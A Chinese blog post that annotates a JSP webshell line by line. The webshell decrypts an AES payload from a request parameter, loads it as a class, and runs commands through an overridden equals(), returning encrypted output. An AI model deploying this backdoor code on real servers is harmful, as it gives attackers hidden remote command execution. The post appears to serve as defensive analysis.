当前位置: 首页 > news >正文

jsp payload解析

try {
byte[] data = base64Decode(request.getParameter(pass)); #HTTP请求中的参数 pass
data = x(data, false); #AES解密
if (application.getAttribute("GOx2") == null) { #GOx2是Webshell 代码动态设置的,用于存储特定的数据或对象
application.setAttribute("GOx2", new X(this.getClass().getClassLoader()).Q(data)); #从字节数组 data 中加载一个类,存储在 "GOx2" 的属性中。应该是对equals的重写
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); #动态存储输出流
Object f = ((Class) application.getAttribute("GOx2")).newInstance(); #把第一次请求的GOx2存储的类,赋值给对象f
f.equals(request); #执行恶意请求
f.equals(arrOut); #在equals方法中,恶意代码会检查obj是否是ByteArrayOutputStream实例。如果是,它可能会执行写入数据
f.equals(data);
response.getWriter().write(md5.substring(0, 16)); #先传入 request 可能是为了准备一些数据或环境,然后传入 arrOut 进行某些输出操作,最后传入 data 执行最终的恶意代码。
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); #加密回显
response.getWriter().write(md5.substring(16)); #混淆与隐藏
}
} catch(Exception e) {}

是一个后门或Webshell,AES加密保护,使用预定义的密钥 xc 进行解密


先获取HTTP请求中的参数 pass,然后AES解密
第一次请求,pass解密之后是对equals的重写,因为GOx2为空,就存储在 "GOx2" 的属性中,方便后面调用
第二次请求才是真正的命令执行,因为GOx2已经有值,所以执行else,先调用GOx2中重写的equals给f进行命令执行
为什么是三次
f.equals(request);requst可能有除了pass其他恶意命令,准备一些数据或环境或者可能和pass(传入data)的内容进行拼接使用
f.equals(request);、f.equals(data);可以是联合共同执行命令
f.equals(arrOut);传出恶意代码,会检查obj是否是ByteArrayOutputStream实例。如果是,它可能会执行写入数据
最后response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); 加密回显

http://www.jsqmd.com/news/507486/

相关文章:

  • Ansys Mechanical 简易支架强度分析,核心供应商推荐 - 品牌2025
  • 2026年3月电动喷雾器厂家推荐排行榜单:五大厂商深度对比与采购评测指南 - 品牌推荐
  • 北京茅台酒上门回收实测:30 分钟速达、36 年连锁老店,藏友圈口碑之选 - 资讯焦点
  • 文旅大模型的垂直化挑战:通用大模型为什么满足不了景区讲解需求?
  • 2026年上海别墅采暖必看!怕占层高选暖气片追求舒适选地暖?富杉冷暖给你专业建议 - 资讯焦点
  • 4个步骤掌握抖音直播数据采集:DouyinLiveWebFetcher的实时互动分析应用指南
  • 2026年江苏无锡老板IP打造公司TOP5名单出炉 - 精选优质企业推荐榜
  • 多媒体格式转换--FFmpeg
  • 2026年3月宠物医疗推荐:3公里内优选医院,安诺宠物医院市场认可度高 - 品牌推荐师
  • 西安非遗大剧院,西北首家沉浸式非遗文化体验殿堂 - 博客万
  • AFSim 2.9中文参考手册隐藏技巧大揭秘:提升效率的5个冷门功能
  • Navicate注册机出现RSA Public Key Not Found错误处理
  • 2026年3月环境安全检测产品推荐排行榜单:五家厂商客观对比与深度评测分析 - 品牌推荐
  • LizzieYzy智能分析助手实战指南
  • 抗皱的眼霜哪种产哪个产品比较好?2026眼霜选购攻略,成分温和肤感好优选这款 - 资讯焦点
  • python中 使用Flask搭建Web服务,实现接口 模拟响应 与客户端 交互的过程...
  • 探索高性能的游戏服务器:Leaf
  • 找工作在哪里找比较可靠?2026招聘平台权威排行榜 - 博客万
  • 2026年高速高压旋转接头厂家权威推荐:导热油/液压/多通路旋转接头专业供应商精选 - 品牌推荐官
  • Nginx--使用CDN后拉黑客户端真实IP
  • 实战案例:用Llama Factory为电商场景微调文案生成模型,效果对比展示
  • 2026年3月环境安全检测产品推荐排行:五家厂商客观对比与深度评测分析 - 品牌推荐
  • 优化MATLAB中quiver函数绘制箭头图或矢量图(2)-MATLAB开发
  • Ansys Fluent 多相流模拟,核心供应商推荐 - 品牌2025
  • Blender PSK/PSA插件:游戏开发者的3D资产桥梁
  • Qwen-Image-2512-SDNQ与GitHub Actions集成:自动化图片生成流水线
  • Linux操作系统:进程间关系
  • Qwen3-ForcedAligner-0.6B GPU部署实战:解决CUDA out of memory常见报错
  • 为什么是你来做?面试中犀利问题的底层逻辑是什么和标准回答模版
  • 便携式生理信号采集系统开发小结